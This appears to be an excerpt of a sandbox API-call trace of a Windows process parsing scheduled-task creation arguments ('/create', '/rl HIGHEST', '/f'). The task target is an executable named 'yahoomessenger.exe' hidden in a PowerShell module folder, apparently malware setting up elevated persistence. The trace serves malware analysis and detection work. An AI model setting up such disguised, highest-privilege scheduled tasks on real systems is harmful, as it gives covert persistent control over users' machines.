(lpStart=" \x09", wMatch=0x2e) returned 0x0 [0067.106] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0067.106] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0067.106] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0067.106] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0067.106] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0067.106] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0067.106] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0067.106] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0067.106] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0067.106] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0067.106] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0067.106] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0067.106] StrChrW (lpStart=" \x09", wMatch=0x79) returned 0x0 [0067.106] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0067.106] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0067.106] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0067.106] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0067.106] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0067.107] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0067.107] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0067.107] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0067.107] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0067.107] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0067.107] StrChrW (lpStart=" \x09", wMatch=0x67) returned 0x0 [0067.107] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0067.107] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0067.107] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0067.107] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0067.107] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0067.107] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0067.107] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0067.107] GetLastError () returned 0x0 [0067.107] lstrlenW (lpString="'C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'") returned 97 [0067.107] lstrlenW (lpString="'C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'") returned 97 [0067.107] SetLastError (dwErrCode=0x0) [0067.107] SetLastError (dwErrCode=0x0) [0067.107] lstrlenW (lpString="/rl") returned 3 [0067.107] lstrlenW (lpString="-/") returned 2 [0067.107] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0067.107] lstrlenW (lpString="create") returned 6 [0067.107] lstrlenW (lpString="create") returned 6 [0067.107] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.107] lstrlenW (lpString="rl") returned 2 [0067.107] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.108] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|create|") returned 8 [0067.108] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|rl|") returned 4 [0067.108] lstrlenW (lpString="|create|") returned 8 [0067.108] lstrlenW (lpString="|rl|") returned 4 [0067.108] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0067.108] SetLastError (dwErrCode=0x490) [0067.108] lstrlenW (lpString="?") returned 1 [0067.108] lstrlenW (lpString="?") returned 1 [0067.108] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.108] lstrlenW (lpString="rl") returned 2 [0067.108] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.108] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|?|") returned 3 [0067.108] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|rl|") returned 4 [0067.108] lstrlenW (lpString="|?|") returned 3 [0067.108] lstrlenW (lpString="|rl|") returned 4 [0067.108] SetLastError (dwErrCode=0x490) [0067.108] lstrlenW (lpString="s") returned 1 [0067.108] lstrlenW (lpString="s") returned 1 [0067.108] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.108] lstrlenW (lpString="rl") returned 2 [0067.108] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.108] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|s|") returned 3 [0067.108] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|rl|") returned 4 [0067.109] lstrlenW (lpString="|s|") returned 3 [0067.109] lstrlenW (lpString="|rl|") returned 4 [0067.109] SetLastError (dwErrCode=0x490) [0067.109] lstrlenW (lpString="u") returned 1 [0067.109] lstrlenW (lpString="u") returned 1 [0067.109] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.109] lstrlenW (lpString="rl") returned 2 [0067.109] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.109] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|u|") returned 3 [0067.109] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|rl|") returned 4 [0067.109] lstrlenW (lpString="|u|") returned 3 [0067.109] lstrlenW (lpString="|rl|") returned 4 [0067.109] SetLastError (dwErrCode=0x490) [0067.109] lstrlenW (lpString="p") returned 1 [0067.109] lstrlenW (lpString="p") returned 1 [0067.109] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.109] lstrlenW (lpString="rl") returned 2 [0067.109] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.109] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|p|") returned 3 [0067.109] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|rl|") returned 4 [0067.109] lstrlenW (lpString="|p|") returned 3 [0067.109] lstrlenW (lpString="|rl|") returned 4 [0067.109] SetLastError (dwErrCode=0x490) [0067.110] lstrlenW (lpString="ru") returned 2 [0067.110] lstrlenW (lpString="ru") returned 2 [0067.110] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.110] lstrlenW (lpString="rl") returned 2 [0067.110] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.110] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|ru|") returned 4 [0067.110] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|rl|") returned 4 [0067.110] lstrlenW (lpString="|ru|") returned 4 [0067.110] lstrlenW (lpString="|rl|") returned 4 [0067.110] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0067.110] SetLastError (dwErrCode=0x490) [0067.110] lstrlenW (lpString="rp") returned 2 [0067.110] lstrlenW (lpString="rp") returned 2 [0067.110] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.110] lstrlenW (lpString="rl") returned 2 [0067.110] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.110] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|rp|") returned 4 [0067.110] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|rl|") returned 4 [0067.110] lstrlenW (lpString="|rp|") returned 4 [0067.110] lstrlenW (lpString="|rl|") returned 4 [0067.110] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0067.110] SetLastError (dwErrCode=0x490) [0067.111] lstrlenW (lpString="sc") returned 2 [0067.111] lstrlenW (lpString="sc") returned 2 [0067.111] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.111] lstrlenW (lpString="rl") returned 2 [0067.111] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.111] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|sc|") returned 4 [0067.111] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|rl|") returned 4 [0067.111] lstrlenW (lpString="|sc|") returned 4 [0067.111] lstrlenW (lpString="|rl|") returned 4 [0067.111] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0067.111] SetLastError (dwErrCode=0x490) [0067.111] lstrlenW (lpString="mo") returned 2 [0067.111] lstrlenW (lpString="mo") returned 2 [0067.111] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.111] lstrlenW (lpString="rl") returned 2 [0067.111] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.111] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|mo|") returned 4 [0067.111] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|rl|") returned 4 [0067.111] lstrlenW (lpString="|mo|") returned 4 [0067.111] lstrlenW (lpString="|rl|") returned 4 [0067.111] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0067.111] SetLastError (dwErrCode=0x490) [0067.112] lstrlenW (lpString="d") returned 1 [0067.112] lstrlenW (lpString="d") returned 1 [0067.112] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.112] lstrlenW (lpString="rl") returned 2 [0067.112] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.112] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|d|") returned 3 [0067.112] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|rl|") returned 4 [0067.112] lstrlenW (lpString="|d|") returned 3 [0067.112] lstrlenW (lpString="|rl|") returned 4 [0067.112] SetLastError (dwErrCode=0x490) [0067.112] lstrlenW (lpString="m") returned 1 [0067.112] lstrlenW (lpString="m") returned 1 [0067.112] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.112] lstrlenW (lpString="rl") returned 2 [0067.112] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.112] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|m|") returned 3 [0067.112] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|rl|") returned 4 [0067.112] lstrlenW (lpString="|m|") returned 3 [0067.112] lstrlenW (lpString="|rl|") returned 4 [0067.112] SetLastError (dwErrCode=0x490) [0067.112] lstrlenW (lpString="i") returned 1 [0067.112] lstrlenW (lpString="i") returned 1 [0067.112] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.113] lstrlenW (lpString="rl") returned 2 [0067.113] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.113] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|i|") returned 3 [0067.113] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|rl|") returned 4 [0067.113] lstrlenW (lpString="|i|") returned 3 [0067.113] lstrlenW (lpString="|rl|") returned 4 [0067.113] SetLastError (dwErrCode=0x490) [0067.113] lstrlenW (lpString="tn") returned 2 [0067.113] lstrlenW (lpString="tn") returned 2 [0067.113] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.113] lstrlenW (lpString="rl") returned 2 [0067.113] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.113] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|tn|") returned 4 [0067.113] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|rl|") returned 4 [0067.113] lstrlenW (lpString="|tn|") returned 4 [0067.113] lstrlenW (lpString="|rl|") returned 4 [0067.113] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0067.113] SetLastError (dwErrCode=0x490) [0067.113] lstrlenW (lpString="tr") returned 2 [0067.113] lstrlenW (lpString="tr") returned 2 [0067.113] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.113] lstrlenW (lpString="rl") returned 2 [0067.113] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.114] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|tr|") returned 4 [0067.114] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|rl|") returned 4 [0067.114] lstrlenW (lpString="|tr|") returned 4 [0067.114] lstrlenW (lpString="|rl|") returned 4 [0067.114] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0067.114] SetLastError (dwErrCode=0x490) [0067.114] lstrlenW (lpString="st") returned 2 [0067.114] lstrlenW (lpString="st") returned 2 [0067.114] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.114] lstrlenW (lpString="rl") returned 2 [0067.114] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.114] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|st|") returned 4 [0067.114] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|rl|") returned 4 [0067.114] lstrlenW (lpString="|st|") returned 4 [0067.114] lstrlenW (lpString="|rl|") returned 4 [0067.114] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0067.114] SetLastError (dwErrCode=0x490) [0067.114] lstrlenW (lpString="sd") returned 2 [0067.114] lstrlenW (lpString="sd") returned 2 [0067.114] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.114] lstrlenW (lpString="rl") returned 2 [0067.114] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.114] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|sd|") returned 4 [0067.114] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|rl|") returned 4 [0067.114] lstrlenW (lpString="|sd|") returned 4 [0067.115] lstrlenW (lpString="|rl|") returned 4 [0067.115] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0067.115] SetLastError (dwErrCode=0x490) [0067.115] lstrlenW (lpString="ed") returned 2 [0067.115] lstrlenW (lpString="ed") returned 2 [0067.115] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.115] lstrlenW (lpString="rl") returned 2 [0067.115] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.115] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|ed|") returned 4 [0067.115] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|rl|") returned 4 [0067.115] lstrlenW (lpString="|ed|") returned 4 [0067.115] lstrlenW (lpString="|rl|") returned 4 [0067.115] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0067.115] SetLastError (dwErrCode=0x490) [0067.115] lstrlenW (lpString="it") returned 2 [0067.115] lstrlenW (lpString="it") returned 2 [0067.115] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.115] lstrlenW (lpString="rl") returned 2 [0067.115] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.115] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|it|") returned 4 [0067.115] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|rl|") returned 4 [0067.115] lstrlenW (lpString="|it|") returned 4 [0067.115] lstrlenW (lpString="|rl|") returned 4 [0067.115] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0067.115] SetLastError (dwErrCode=0x490) [0067.116] lstrlenW (lpString="et") returned 2 [0067.116] lstrlenW (lpString="et") returned 2 [0067.116] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.116] lstrlenW (lpString="rl") returned 2 [0067.116] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.116] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|et|") returned 4 [0067.116] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|rl|") returned 4 [0067.116] lstrlenW (lpString="|et|") returned 4 [0067.116] lstrlenW (lpString="|rl|") returned 4 [0067.116] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0067.116] SetLastError (dwErrCode=0x490) [0067.116] lstrlenW (lpString="k") returned 1 [0067.116] lstrlenW (lpString="k") returned 1 [0067.116] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.116] lstrlenW (lpString="rl") returned 2 [0067.116] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.116] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|k|") returned 3 [0067.116] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|rl|") returned 4 [0067.116] lstrlenW (lpString="|k|") returned 3 [0067.116] lstrlenW (lpString="|rl|") returned 4 [0067.116] SetLastError (dwErrCode=0x490) [0067.116] lstrlenW (lpString="du") returned 2 [0067.116] lstrlenW (lpString="du") returned 2 [0067.116] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.117] lstrlenW (lpString="rl") returned 2 [0067.117] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.117] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|du|") returned 4 [0067.117] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|rl|") returned 4 [0067.117] lstrlenW (lpString="|du|") returned 4 [0067.117] lstrlenW (lpString="|rl|") returned 4 [0067.117] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0067.117] SetLastError (dwErrCode=0x490) [0067.117] lstrlenW (lpString="ri") returned 2 [0067.117] lstrlenW (lpString="ri") returned 2 [0067.117] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.117] lstrlenW (lpString="rl") returned 2 [0067.117] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.117] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|ri|") returned 4 [0067.117] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|rl|") returned 4 [0067.117] lstrlenW (lpString="|ri|") returned 4 [0067.117] lstrlenW (lpString="|rl|") returned 4 [0067.117] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0067.117] SetLastError (dwErrCode=0x490) [0067.117] lstrlenW (lpString="z") returned 1 [0067.117] lstrlenW (lpString="z") returned 1 [0067.117] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.117] lstrlenW (lpString="rl") returned 2 [0067.117] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.118] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|z|") returned 3 [0067.118] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|rl|") returned 4 [0067.118] lstrlenW (lpString="|z|") returned 3 [0067.118] lstrlenW (lpString="|rl|") returned 4 [0067.118] SetLastError (dwErrCode=0x490) [0067.118] lstrlenW (lpString="f") returned 1 [0067.118] lstrlenW (lpString="f") returned 1 [0067.118] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.118] lstrlenW (lpString="rl") returned 2 [0067.118] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.118] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|f|") returned 3 [0067.118] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|rl|") returned 4 [0067.118] lstrlenW (lpString="|f|") returned 3 [0067.118] lstrlenW (lpString="|rl|") returned 4 [0067.118] SetLastError (dwErrCode=0x490) [0067.118] lstrlenW (lpString="v1") returned 2 [0067.118] lstrlenW (lpString="v1") returned 2 [0067.118] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.118] lstrlenW (lpString="rl") returned 2 [0067.118] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.118] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|v1|") returned 4 [0067.118] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|rl|") returned 4 [0067.118] lstrlenW (lpString="|v1|") returned 4 [0067.118] lstrlenW (lpString="|rl|") returned 4 [0067.119] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0067.119] SetLastError (dwErrCode=0x490) [0067.119] lstrlenW (lpString="xml") returned 3 [0067.119] lstrlenW (lpString="xml") returned 3 [0067.119] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.119] lstrlenW (lpString="rl") returned 2 [0067.119] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.119] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|xml|") returned 5 [0067.168] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|rl|") returned 4 [0067.168] lstrlenW (lpString="|xml|") returned 5 [0067.168] lstrlenW (lpString="|rl|") returned 4 [0067.168] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0067.168] SetLastError (dwErrCode=0x490) [0067.168] lstrlenW (lpString="ec") returned 2 [0067.169] lstrlenW (lpString="ec") returned 2 [0067.169] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.169] lstrlenW (lpString="rl") returned 2 [0067.169] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.169] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|ec|") returned 4 [0067.169] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|rl|") returned 4 [0067.169] lstrlenW (lpString="|ec|") returned 4 [0067.169] lstrlenW (lpString="|rl|") returned 4 [0067.169] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0067.169] SetLastError (dwErrCode=0x490) [0067.169] lstrlenW (lpString="rl") returned 2 [0067.169] lstrlenW (lpString="rl") returned 2 [0067.170] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.170] lstrlenW (lpString="rl") returned 2 [0067.171] _memicmp (_Buf1=0x18c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.171] _vsnwprintf (in: _Buffer=0x18c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|rl|") returned 4 [0067.171] _vsnwprintf (in: _Buffer=0x18c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c728 | out: _Buffer="|rl|") returned 4 [0067.171] lstrlenW (lpString="|rl|") returned 4 [0067.171] lstrlenW (lpString="|rl|") returned 4 [0067.171] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0067.171] SetLastError (dwErrCode=0x0) [0067.171] SetLastError (dwErrCode=0x0) [0067.171] lstrlenW (lpString="HIGHEST") returned 7 [0067.171] lstrlenW (lpString="-/") returned 2 [0067.171] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0067.171] SetLastError (dwErrCode=0x490) [0067.171] SetLastError (dwErrCode=0x490) [0067.171] SetLastError (dwErrCode=0x0) [0067.171] lstrlenW (lpString="HIGHEST") returned 7 [0067.171] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0067.171] SetLastError (dwErrCode=0x490) [0067.171] SetLastError (dwErrCode=0x0) [0067.171] _memicmp (_Buf1=0x18d720, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.171] lstrlenW (lpString="HIGHEST") returned 7 [0067.171] lstrlenW (lpString="HIGHEST") returned 7 [0067.171] lstrlenW (lpString=" \x09") returned 2 [0067.171] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0067.171] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0067.171] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0067.171] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0067.171] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0067.172] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0067.172] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0067.172] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0067.172] GetLastError () returned 0x0 [0067.172] lstrlenW (lpString="HIGHEST") returned 7 [0067.172] lstrlenW (lpString="HIGHEST") returned 7 [0067.172] SetLastError (dwErrCode=0x0) [0067.172] SetLastError (dwErrCode=0x0) [0067.172] lstrlenW (lpString="/f") returned 2 [0067.172] lstrlenW (lpString="-/") returned 2 [0067.172] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0067.172] lstrlenW (lpString="create") returned 6 [0067.172] lstrlenW (lpString="create") returned 6 [0067.172] _memicmp (_Buf1=0x18c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0067.172] 